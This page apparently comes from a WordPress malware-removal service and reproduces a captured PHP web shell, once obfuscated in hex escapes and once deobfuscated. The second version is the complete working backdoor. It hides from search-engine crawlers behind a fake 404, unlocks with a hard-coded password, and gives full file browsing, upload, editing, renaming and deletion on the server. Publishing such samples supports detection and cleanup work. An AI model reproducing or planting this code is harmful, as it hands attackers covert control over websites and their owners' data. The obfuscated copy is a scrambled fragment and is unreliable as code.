"\12\x3c\x21\x44\117\103\124\x59\x50\105\40\150\164\x6d\x6c\76\12\74\x68\164\155\154\x20\154\141\x6e\147\x3d\42\145\156\42\76\xa\74\150\145\x61\144\x3e\12\x20\40\40\40\x3c\155\x65\x74\141\40\x63\x68\x61\162\163\x65\x74\75\42\x55\124\x46\55\70\x22\x3e\xa\x20\40\x20\x20\74\155\145\164\x61\40\150\164\164\160\x2d\145\161\x75\x69\x76\75\42\130\x2d\125\x41\x2d\x43\x6f\155\160\141\164\x69\142\154\145\x22\40\x63\x6f\x6e\x74\x65\x6e\164\x3d\42\111\x45\x3d\x65\x64\x67\x65\42\x3e\xa\40\40\40\x20\74\155\145\x74\x61\40\156\141\155\x65\x3d\x22\x76\x69\x65\x77\160\157\x72\164\x22\40\143\x6f\x6e\x74\x65\x6e\x74\75\42\x77\x69\x64\164\x68\x3d\x64\145\166\x69\x63\x65\55\x77\151\x64\x74\150\x2c\40\x69\156\x69\164\x69\x61\x6c\55\163\x63\x61\154\x65\75\61\56\x30\42\x3e\12\x20\x20\x20\40\x3c\154\x69\156\x6b\x20\150\x72\145\146\x3d\x22\150\x74\164\x70\x73\x3a\x2f\x2f\x63\x64\156\56\x6a\163\x64\x65\154\x69\x76\x72\x2e\156\145\164\x2f\156\160\155\x2f\142\157\x6f\164\x73\164\162\x61\x70\100\x35\56\63\x2e\x30\x2d\141\154\x70\150\141\61\x2f\144\151\x73\164\x2f\x63\x73\x73\57\x62\157\157\164\x73\164\x72\141\x70\x2e\x6d\x69\x6e\56\x63\x73\163\x22\40\162\145\154\75\x22\x73\164\x79\154\x65\163\x68\145\x65\164\42\12\x20\x20\x20\40\40\x20\x20\40\x20\x20\151\156\x74\145\147\162\x69\164\171\x3d\42\x73\x68\x61\63\70\64\55\x47\x4c\x68\x6c\124\x51\x38\x69\x52\101\x42\144\132\x4c\154\66\117\x33\157\x56\115\x57\x53\x6b\x74\121\117\160\66\142\67\x49\x6e\61\132\154\63\57\112\x72\65\71\x62\66\x45\x47\x47\x6f\111\61\141\106\153\167\x37\x63\155\104\101\66\152\x36\147\x44\x22\40\x63\162\157\x73\x73\157\162\151\147\151\x6e\x3d\42\x61\156\x6f\x6e\171\155\x6f\165\163\x22\76\xa\40\40\40\40\x3c\154\151\156\x6b\x20\162\145\x6c\x3d\42\x73\x74\x79\154\145\163\x68\145\145\x74\42\40\150\x72\x65\146\x3d\x22\150\164\164\160\163\x3a\x2f\57\x63\144\x6e\x6a\163\x2e\143\154\x6f\x75\144\x66\x6c\x61\x72\x65\56\x63\x6f\155\x2f\141\152\x61\x78\x2f\x6c\151\142\163\57\146\x6f\156\x74\x2d\x61\x77\x65\x73\157\155\145\x2f\66\56\x33\56\60\57\x63\163\163\57\x61\154\x6c\56\155\x69\x6e\x2e\x63\x73\163\42\12\40\x20\40\40\x20\x20\x20\x20\x20\40\151\156\x74\145\147\162\x69\164\x79\75\x22\163\150\x61\65\61\x32\x2d\x53\x7a\154\162\x78\x57\125\154\x70\x66\165\x7a\x51\53\160\143\x55\103\x6f\163\170\x63\147\154\x51\122\116\x41\161\x2f\x44\x5a\x6a\x56\x73\x43\60\x6c\105\x34\x30\170\163\101\104\x73\146\145\x51\x6f\105\171\x70\x45\53\145\x6e\x77\143\x4f\x69\x47\152\x6b\x2f\x62\x53\x75\x47\x47\113\110\x45\171\152\123\157\x51\x31\172\x56\151\163\141\156\x51\75\75\x22\12\40\40\x20\x20\x20\40\40\x20\x20\40\x63\x72\x6f\163\163\157\x72\151\x67\151\x6e\x3d\x22\x61\x6e\x6f\156\x79\155\157\165\x73\42\40\162\x65\x66\145\x72\162\145\162\x70\x6f\x6c\151\143\x79\75\42\156\x6f\55\x72\x65\x66\145\x72\x72\x65\162\x22\x20\x2f\76\12\74\x2f\150\145\x61\144\76\12\74\x62\157\x64\x79\40\x73\164\x79\154\x65\75\42\x20\x77\x69\144\164\x68\72\40\66\x30\x25\73\40\x6d\141\162\147\151\156\x3a\x20\60\40\x61\165\164\157\73\42\76\xa"; goto B0V1D; s4enq: TP__M: goto TxrHz; RSMyl: if (is_dir(XYKED($_GET["\x71"]))) { goto b_4tf; } goto VH27A; vgnw8: if (is_dir($Z3Te4)) { goto OSn4k; } goto XwfTU; Jwy3a: WwyRI: goto Q8mWy; WP1GG: echo "\x3c\x70\76\123\x6f\162\162\x79\54\x20\164\150\145\x72\x65\40\x77\x61\x73\x20\141\x6e\x20\x65\162\x72\157\162\x20\x75\160\x6c\157\141\x64\151\156\x67\x20\x79\157\x75\x72\x20\x66\x69\x6c\x65\56\74\57\160\x3e"; goto wrHRv; EKEye: $RwlH5 = __DIR__; goto UxZRE; x1SVW: if (!isset($_POST["\x65\144\x69\164"])) { goto TonXo; } goto gk9so; OvSIa: if (rename($Z3Te4, yiAHL . "\x2f" . $_POST["\x6e\141\155\x65"])) { goto WasTM; } goto sjxGm; Xkeio: goto TP__M; goto iz6_J; YcJ2f: header("\x48\x54\x54\120\x2f\x31\56\x30\x20\64\x30\64\40\116\x6f\x74\40\x46\157\x75\156\x64"); goto v9Ort; ZG74b: setcookie("\x70\x77\x5f\156\x61\155\145\137\62\60\65\62\x36", $_POST["\x70\x77\137\x6e\x61\x6d\145\x5f\62\60\x35\62\66"]); goto rJM4_; qeqmS: if (is_dir(xykED($_GET["\x70"]))) { goto tWAxE; } goto be4iG; iJ4c9: goto Eyp7r; goto c0hAG; fCFep: echo "\x3c\163\143\162\151\x70\164\x3e\x61\154\x65\162\164\50\47\x44\x69\x72\x65\x63\x74\157\162\171\x20\x72\145\155\157\166\145\144\56\47\x29\73\x20\167\x69\156\x64\157\x77\x2e\x6c\157\143\141\164\x69\157\156\56\x72\x65\x70\x6c\141\143\x65\x28\47\x3f\x70\75" . QCyqx(yiAHL) . "\47\x29\73\x3c\57\163\143\162\151\160\x74\x3e"; goto s4enq; wPs88: echo "\x3c\163\143\162\x69\160\164\x3e\x61\154\145\x72\164\x28\x27\123\157\x6d\x65\40\145\162\x72\157\162\x20\x6f\143\x63\x75\162\162\145\x64\x2e\47\x29\73\40\167\x69\156\x64\157\x77\56\154\157\x63\141\x74\x69\157\x6e\56\162\145\x70\x6c\x61\143\145\50\x27\77\x70\75" . QCYqX(yiAHL) . "\x27\x29\73\x3c\57\x73\143\162\151\160\x74\x3e"; goto zP3dv; crcVY: b_4tf: goto JswJ8; kFqbh: if (isset($_GET["\x71"])) { goto sdd8q; } goto X4vNb; c0hAG: tWAxE: goto P1Dvl; fSt10: $M79ft = array(); goto dOjQF; aLeLL: GcKJx: goto sEgyX; piZvH: goto MvXJN; goto C7wH0; DRfW1: define("\171\151\101\x48\x4c", $IWAzX); goto LdgM7; IKohY: function QcYqX($K6eSV) { goto gpzPe; gpzPe: $CBP1y = array("\57", "\134", "\56", "\72"); goto ZyIkN; ZyIkN: $we7RH = array("\340\xa6\225", "\xe0\246\x96", "\xe0\xa6\227", "\xe0\xa6\x98"); goto KWkoH; KWkoH: return str_replace($CBP1y, $we7RH, $K6eSV); goto i0Mcp; i0Mcp: } goto EHiLv; LdgM7: echo "\12\x3c\x6e\x61\166\x20\143\x6c\x61\163\163\75\x22\156\x61\166\142\141\162\x20\x6e\x61\166\x62\x61\162\x2d\154\151\x67\x68\164\x22\x20\x73\x74\171\154\x65\75\x22\142\141\x63\153\x67\x72\x6f\165\x6e\144\55\143\157\154\x6f\162\72\40\x23\145\x33\146\x32\146\x64\x3b\x22\x3e\12\x20\x20\x3c\144\151\x76\40\x63\x6c\x61\163\163\75\x22\156\141\x76\142\141\162\x2d\x62\162\x61\x6e\x64\42\x3e\12\40\x20\x3c\x61\x20\150\x72\x65\x66\75\42\77\x22\76\74\151\x6d\147\40\163\x72\143\75\x22\x68\164\164\160\163\x3a\57\57\147\151\x74\x68\x75\x62\56\x63\x6f\x6d\57\146\x6c\x75\x69\x64\x69\x63\x6f\x6e\x2e\160\156\147\x22\40\x77\x69\x64\x74\x68\x3d\42\63\60\42\x20\x68\x65\151\x67\150\x74\x3d\x22\x33\60\42\x20\x61\154\164\x3d\42\42\x3e\x3c\57\x61\76\xa"; goto N6zhK; BxSiU: if (isset($_COOKIE["\x70\167\137\156\x61\x6d\x65\x5f\x32\x30\x35\62\66"])) { goto UBF89; } goto TeE9y; N6zhK: $K6eSV = str_replace("\134", "\x2f", yiAHL); goto ZpCQ1; WVcfR: if (!isset($_GET["\165\x70\154\x6f\x61\144"])) { goto b1Ulh; } goto zZtbE; P772a: foreach ($M79ft as $SWyBO) { echo "\x20\x20\40\x20\x3c\x74\x72\76\xa\x20\40\x20\40\40\40\x20\40\40\40\x3c\164\x64\x3e\74\x61\x20\163\164\x79\x6c\145\75\47\x74\x65\170\164\55\144\145\143\x6f\162\141\x74\x69\157\156\x3a\40\156\157\x6e\145\x3b\47\40\x74\151\164\154\145\75\47\x26\43\63\62\65\63\x34\x3b\46\x23\x33\66\67\x35\x33\x3b\x27\40\150\162\x65\146\x3d\x27\x3f\161\x3d" . urlencode(qcYQx(yiAHL)) . "\46\145\x3d" . $SWyBO . "\47\x3e" . l0cWd($SWyBO) . $SWyBO . "\x3c\x2f\141\76\x3c\57\164\144\x3e\12\40\40\40\x20\40\40\40\40\40\x20\74\x74\144\76" . fjYuI(filesize(yiAHL . "\x2f" . $SWyBO)) . "\x3c\x2f\164\x64\76\12\x20\40\40\x20\40\x20\40\40\40\x20\x3c\164\144\x3e" . date("\x59\x2d\x6d\55\x64\40\x48\x3a\151\x3a\163", filemtime(yiAHL . "\x2f" . $SWyBO)) . "\74\x2f\164\x64\x3e\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x3c\164\144\76\x30" . substr(decoct(fileperms(yiAHL . "\x2f" . $SWyBO)), -3) . "\x3c\x2f\141\x3e\x3c\57\x74\x64\x3e\xa\x20\40\40\x20\40\x20\40\x20\40\x20\x3c\x74\144\76\12\40\x20\x20\40\40\x20\x20\40\40\x20\x3c\141\40\164\151\x74\x6c\145\75\47\x26\x23\x33\x32\65\x33\64\x3b\x26\x23\63\66\67\65\x33\x3b\47\x20\150\x72\x65\146\75\x27\x3f\161\x3d" . urlencode(qCYQX(yiAHL)) . "\x26\145\75" . $SWyBO . "\47\x3e\74\x69\40\143\x6c\141\x73\163\x3d\47\x66\141\55\x73\157\154\x69\144\40\x66\x61\x2d\146\151\x6c\145\x2d\x70\145\x6e\x27\76\x3c\x2f\151\x3e\x3c\x2f\x61\76\12\40\40\40\x20\40\40\40\x20\40\x20\x3c\141\x20\164\x69\x74\x6c\x65\x3d\x27\x26\x23\63\x37\x33\x32\65\73\46\x23\62\x36\x30\63\x32\73\x26\43\62\61\x36\x32\71\x3b\x26\43\x32\x31\x35\61\x37\x3b\47\40\x68\x72\145\x66\75\x27\77\161\75" . urlencode(QcYqX(yiAHL)) . "\x26\162\x3d" . $SWyBO . "\x27\76\74\151\x20\x63\154\141\163\163\75\47\146\141\x2d\163\150\141\x72\160\x20\146\x61\55\162\145\x67\165\x6c\x61\162\40\146\141\x2d\160\x65\156\x2d\164\x6f\x2d\163\x71\x75\x61\x72\x65\47\76\74\57\151\76\74\x2f\141\76\12\40\40\x20\x20\40\x20\x20\40\x20\x20\74\141\40\x74\151\x74\x6c\145\x3d\x27\x26\43\x32\x31\x30\x32\64\x3b\46\43\63\x38\x35\60\60\73\x27\40\150\162\x65\x66\x3d\47\77\x71\x3d" . urlencode(qcyQx(yiAHL)) . "\46\144\x3d" . $SWyBO . "\x27\76\74\x69\40\x63\x6c\141\x73\x73\x3d\x27\x66\141\x20\146\141\x2d\164\x72\141\x73\x68\47\x20\x61\162\x69\x61\55\x68\x69\x64\x64\x65\156\75\47\164\162\165\145\47\76\74\x2f\151\x3e\x3c\x2f\141\x3e\12\x20\40\40\x20\x20\x20\40\x20\x20\x20\74\164\x64\76\12\40\40\x20\40\x3c\x2f\164\x72\76\xa"; oIgpV: } goto s_1kK; G58FS: n61C5: goto XWBmh; eWKaP: error_reporting(0); goto HnrqX; Pc_BE: nYFLh: goto vHad7; pj46L: VNU2b: goto G58FS; qbpxe: if (!is_dir(XykeD($_GET["\160"]))) { goto nYFLh; } goto qeqmS; KUhkp: kAAAB: goto Thw4t; RgDcG: $Lw20_ = "\x63\70\x35\60\65\143\67\60\x39\x36\66\143\x36\60\x33\65\x31\x62\x61\x65\x63\x30\x62\60\143\x39\x36\x63\60\x36\142\x65"; goto JXCwm; EMaLD: fax3k: goto pLzSV; ZiH9D: echo "\xa\xa\x3c\163\143\162\151\160\164\x20\x73\162\x63\75\42\x68\x74\164\160\163\x3a\57\x2f\x63\x64\156\56\152\x73\144\145\x6c\x69\x76\x72\56\x6e\145\x74\x2f\156\160\x6d\57\x62\157\x6f\x74\163\x74\x72\x61\160\x40\x35\56\63\x2e\x30\55\141\x6c\x70\x68\x61\61\x2f\x64\x69\163\x74\57\152\163\57\x62\x6f\157\164\163\164\x72\141\160\x2e\142\x75\x6e\x64\x6c\145\56\x6d\151\x6e\x2e\152\x73\x22\xa\40\40\40\x20\x20\40\40\40\x69\156\x74\x65\x67\162\x69\164\x79\75\x22\x73\150\141\63\x38\64\x2d\167\x37\66\x41\161\120\x66\104\153\x4d\x42\104\130\x6f\x33\60\152\x53\x31\123\x67\145\x7a\x36\x70\x72\x33\x78\65\115\154\x51\61\x5a\101\x47\103\x2b\156\x75\x5a\x42\53\x45\131\x64\147\x52\132\147\x69\167\x78\150\x54\x42\x54\x6b\106\67\103\130\x76\x4e\x22\xa\x20\40\40\40\40\x20\40\x20\x63\162\157\x73\163\157\x72\151\x67\x69\156\75\x22\141\156\x6f\156\171\x6d\x6f\165\x73\x22\76\74\x2f\163\x63\162\151\160\164\x3e\xa\74\x2f\x62\x6f\144\171\x3e\xa\x3c\57\x68\x74\x6d\x6c\76\xa\12";
?><?php
error_reporting(0);
http_response_code(404);
$Lw20_ = "c8505c70966c60351baec0b0c96c06be";
if (empty($_SERVER["HTTP_USER_AGENT"])) {
goto GcKJx;
}
$Vko0s = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (!preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER["HTTP_USER_AGENT"])) {
GcKJx:
$v5l3Z = false;
if (isset($_COOKIE["pw_name_20526"])) {
if (!($_COOKIE["pw_name_20526"] == $Lw20_)) {
goto A60CO;
}
$v5l3Z = true;
A60CO:
goto WRSax;
}
if (!isset($_POST["pw_name_20526"])) {
goto uqKMG;
}
if (!($_POST["pw_name_20526"] == $Lw20_)) {
goto CI331;
}
setcookie("pw_name_20526", $_POST["pw_name_20526"]);
$v5l3Z = true;
CI331:
uqKMG:
WRSax:
if ($v5l3Z) {
echo "\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css\" rel=\"stylesheet\"\n integrity=\"sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css\"\n integrity=\"sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==\"\n crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\" />\n</head>\n<body style=\" width: 60%; margin: 0 auto;\">\n";
function FJyUi($FbG_F)
{
if ($FbG_F >= 1073741824) {
$FbG_F = number_format($FbG_F / 1073741824, 2) . " GB";
goto vwfwq;
}
if ($FbG_F >= 1048576) {
$FbG_F = number_format($FbG_F / 1048576, 2) . " MB";
goto vwfwq;
}
if ($FbG_F >= 1024) {
$FbG_F = number_format($FbG_F / 1024, 2) . " KB";
goto vwfwq;
}
if ($FbG_F > 1) {
$FbG_F .= " bytes";
goto vwfwq;
}
if ($FbG_F == 1) {
$FbG_F .= " byte";
goto ehuzL;
}
$FbG_F = "0 bytes";
ehuzL:
vwfwq:
return $FbG_F;
}
function fO0zd($SWyBO)
{
return substr(strrchr($SWyBO, "."), 1);
}
function L0CWD($SWyBO)
{
$poUDG = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$gVgRb = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$lDGLf = strtolower(fO0ZD($SWyBO));
if ($SWyBO == "error_log") {
return "<i class=\"fa-sharp fa-solid fa-bug\"></i> ";
}
if ($SWyBO == ".htaccess") {
return "<i class=\"fa-solid fa-hammer\"></i> ";
}
H6sh_:
if ($lDGLf == "html" || $lDGLf == "htm") {
return "<i class=\"fa-brands fa-html5\"></i> ";
}
if ($lDGLf == "php" || $lDGLf == "phtml") {
return "<i class=\"fa-brands fa-php\"></i> ";
}
if (in_array($lDGLf, $poUDG)) {
return "<i class=\"fa-regular fa-images\"></i> ";
}
if ($lDGLf == "css") {
return "<i class=\"fa-brands fa-css3\"></i> ";
}
if ($lDGLf == "txt") {
return "<i class=\"fa-regular fa-file-lines\"></i> ";
}
if (in_array($lDGLf, $gVgRb)) {
return "<i class=\"fa-duotone fa-file-music\"></i> ";
}
if ($lDGLf == "py") {
return "<i class=\"fa-brands fa-python\"></i> ";
}
if ($lDGLf == "js") {
return "<i class=\"fa-brands fa-js\"></i> ";
}
return "<i class=\"fa-solid fa-file\"></i> ";
}
function QcYqX($K6eSV)
{
$CBP1y = array("/", "\\", ".", ":");
$we7RH = array("ক", "খ", "গ", "ঘ");
return str_replace($CBP1y, $we7RH, $K6eSV);
}
function xykeD($K6eSV)
{
$CBP1y = array("/", "\\", ".", ":");
$we7RH = array("ক", "খ", "গ", "ঘ");
return str_replace($we7RH, $CBP1y, $K6eSV);
}
$RwlH5 = "/var/www/html";
if (isset($_GET["p"])) {
if (empty($_GET["p"])) {
$IWAzX = $RwlH5;
goto Eyp7r;
}
if (!is_dir(XykeD($_GET["p"]))) {
echo "<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>";
goto Eyp7r;
}
if (is_dir(xykED($_GET["p"]))) {
$IWAzX = XykEd($_GET["p"]);
goto ja9kI;
}
ja9kI:
Eyp7r:
goto F_hLr;
}
if (isset($_GET["q"])) {
if (!is_dir(xyKeD($_GET["q"]))) {
echo "<script>window.location.replace('?p=');</script>";
goto MvaYI;
}
if (is_dir(XYKED($_GET["q"]))) {
$IWAzX = XykED($_GET["q"]);
goto mO3qo;
}
mO3qo:
MvaYI:
goto LVRT9;
}
$IWAzX = $RwlH5;
LVRT9:
F_hLr:
define("yiAHL", $IWAzX);
echo "\n<nav class=\"navbar navbar-light\" style=\"background-color: #e3f2fd;\">\n <div class=\"navbar-brand\">\n <a href=\"?\"><img src=\"https://github.com/fluidicon.png\" width=\"30\" height=\"30\" alt=\"\"></a>\n";
$K6eSV = "yiAHL";
$oPwFr = array(0 => "yiAHL");
foreach ($oPwFr as $Z0uqx => $O0nnl) {
if (!($O0nnl == '' && $Z0uqx == 0)) {
if (!($O0nnl == '')) {
echo "<a href='?p=";
$tSJN4 = 0;
uu4xr:
if (!($tSJN4 <= $Z0uqx)) {
echo "'>" . $O0nnl . "</a>/";
goto qiuDg;
}
echo str_replace(":", "ঘ", $oPwFr[$tSJN4]);
if (!($tSJN4 != $Z0uqx)) {
goto nS4Bh;
}
echo "ক";
nS4Bh:
$tSJN4++;
goto uu4xr;
}
goto CoL8m;
}
$CBP1y = true;
echo "<a href=\"?p=/\">/</a>";
qiuDg:
CoL8m:
}
echo "\n</div>\n<div class=\"form-inline\">\n<a href=\"?upload&q=" . urlencode(QCyQx(yiAHL)) . "\"><button class=\"btn btn-dark\" type=\"button\">上传</button></a>\n \n</div>\n</nav>";
if (isset($_GET["p"])) {
if (!is_readable(yiAHL)) {
goto VDZnQ;
}
$F4zlp = scandir(yiAHL);
$yAj5_ = array();
$M79ft = array();
foreach ($F4zlp as $kDruQ) {
if (!($kDruQ == "." || $kDruQ == "..")) {
$FYdY7 = "yiAHL/" . $kDruQ;
if (is_dir($FYdY7)) {
array_push($yAj5_, $kDruQ);
goto FTDev;
}
if (is_file($FYdY7)) {
array_push($M79ft, $kDruQ);
goto UqiRj;
}
UqiRj:
FTDev:
goto NCOSm;
}
NCOSm:
}
VDZnQ:
echo "\n<table class=\"table table-hover\">\n <thead>\n <tr>\n <th scope=\"col\">名称</th>\n <th scope=\"col\">大小</th>\n <th scope=\"col\">时间</th>\n <th scope=\"col\">权限</th>\n <th scope=\"col\">操作</th>\n </tr>\n </thead>\n <tbody>\n";
foreach ($yAj5_ as $gCmJh) {
echo " <tr>\n <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(qCyQx("yiAHL/" . $gCmJh)) . "'>" . $gCmJh . "</a></td>\n <td><b>---</b></td>\n <td>" . date("Y-m-d H:i:s", filemtime("yiAHL/" . $gCmJh)) . "</td>\n <td>0" . substr(decoct(fileperms("yiAHL/" . $gCmJh)), 3) . "</a></td>\n <td>\n <a title='重新命名' href='?q=" . urlencode(qCyqx(yiAHL)) . "&r=" . $gCmJh . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\n <a title='删除' href='?q=" . urlencode(QcyQX(yiAHL)) . "&d=" . $gCmJh . "'><i class='fa fa-trash' aria-hidden='true'></i></a>\n <td>\n </tr>\n";
}
foreach ($M79ft as $SWyBO) {
echo " <tr>\n <td><a style='text-decoration: none;' title='编辑' href='?q=" . urlencode(qcYQx(yiAHL)) . "&e=" . $SWyBO . "'>" . l0cWd($SWyBO) . $SWyBO . "</a></td>\n <td>" . fjYuI(filesize("yiAHL/" . $SWyBO)) . "</td>\n <td>" . date("Y-m-d H:i:s", filemtime("yiAHL/" . $SWyBO)) . "</td>\n <td>0" . substr(decoct(fileperms("yiAHL/" . $SWyBO)), 3) . "</a></td>\n <td>\n <a title='编辑' href='?q=" . urlencode(qCYQX(yiAHL)) . "&e=" . $SWyBO . "'><i class='fa-solid fa-file-pen'></i></a>\n <a title='重新命名' href='?q=" . urlencode(QcYqX(yiAHL)) . "&r=" . $SWyBO . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\n <a title='删除' href='?q=" . urlencode(qcyQx(yiAHL)) . "&d=" . $SWyBO . "'><i class='fa fa-trash' aria-hidden='true'></i></a>\n <td>\n </tr>\n";
}
echo " </tbody>\n</table>";
goto MPR1i;
}
if (!empty($_GET)) {
goto i87iE;
}
echo "<script>window.location.replace('?p=');</script>";
i87iE:
MPR1i:
if (!isset($_GET["upload"])) {
goto b1Ulh;
}
echo "\n <form method=\"post\" enctype=\"multipart/form-data\">\n 选择文件:\n <input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\">\n <input type=\"submit\" class=\"btn btn-dark\" name=\"upload\">\n </form>";
b1Ulh:
if (!isset($_GET["r"])) {
goto MFNHT;
}
if (!(!empty($_GET["r"]) && isset($_GET["q"]))) {
goto n61C5;
}
echo "\n <form method=\"post\">\n 重新命名:\n <input type=\"text\" name=\"name\" value=\"" . $_GET["r"] . "\">\n <input type=\"submit\" class=\"btn btn-dark\" name=\"rename\">\n </form>";
if (!isset($_POST["rename"])) {
goto VNU2b;
}
$Z3Te4 = "yiAHL/" . $_GET["r"];
if (rename($Z3Te4, "yiAHL/" . $_POST["name"])) {
echo "<script>alert('Renamed.'); window.location.replace('?p=" . qCYqx(yiAHL) . "');</script>";
goto RrDSm;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . qCYQX(yiAHL) . "');</script>";
RrDSm:
VNU2b:
n61C5:
MFNHT:
if (!isset($_GET["e"])) {
goto scLTq;
}
if (!(!empty($_GET["e"]) && isset($_GET["q"]))) {
goto XWmUv;
}
echo "\n <form method=\"post\">\n <textarea style=\"height: 500px;\n width: 100%;\" name=\"data\">" . htmlspecialchars(file_get_contents("yiAHL/" . $_GET["e"])) . "</textarea>\n <br>\n <input type=\"submit\" class=\"btn btn-dark\" name=\"edit\">\n </form>";
if (!isset($_POST["edit"])) {
goto TonXo;
}
$rPBIh = "yiAHL/" . $_GET["e"];
$Dr9AM = $_POST["data"];
$qRi60 = fopen($rPBIh, "w");
if (fwrite($qRi60, $Dr9AM)) {
echo "<script>alert('Saved.'); window.location.replace('?p=" . QCYqx(yiAHL) . "');</script>";
goto EMaLD;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . qCYQx(yiAHL) . "');</script>";
EMaLD:
fclose($qRi60);
TonXo:
XWmUv:
scLTq:
if (!isset($_POST["upload"])) {
goto EQ5VV;
}
$YOzF6 = "yiAHL/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $YOzF6)) {
echo "<p>" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
goto kz0Bx;
}
echo "<p>Sorry, there was an error uploading your file.</p>";
kz0Bx:
EQ5VV:
if (!(isset($_GET["d"]) && isset($_GET["q"]))) {
goto Io3D1;
}
$Z3Te4 = "yiAHL/" . $_GET["d"];
if (is_file($Z3Te4)) {
if (unlink($Z3Te4)) {
echo "<script>alert('File removed.'); window.location.replace('?p=" . QcYqX(yiAHL) . "');</script>";
goto Jwy3a;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . QCYqX(yiAHL) . "');</script>";
Jwy3a:
goto fjqEL;
}
if (is_dir($Z3Te4)) {
if (rmdir($Z3Te4) == true) {
echo "<script>alert('Directory removed.'); window.location.replace('?p=" . QCyqx(yiAHL) . "');</script>";
goto s4enq;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . QcYQX(yiAHL) . "');</script>";
s4enq:
goto TxrHz;
}
TxrHz:
fjqEL:
Io3D1:
echo "\n\n<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js\"\n integrity=\"sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN\"\n crossorigin=\"anonymous\"></script>\n</body>\n</html>\n\n";
// [PHPDeobfuscator] Implied script end
return;
}
die("<form action='?p=' method=post ><input type=password name='pw_name_20526' value='" . $_GET["pw"] . "' required><input type=submit name='watching' ></form>");
}
header("HTTP/1.0 404 Not Found");
exit;■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
（C）2019 ワードプレス ドクター All rights reserved.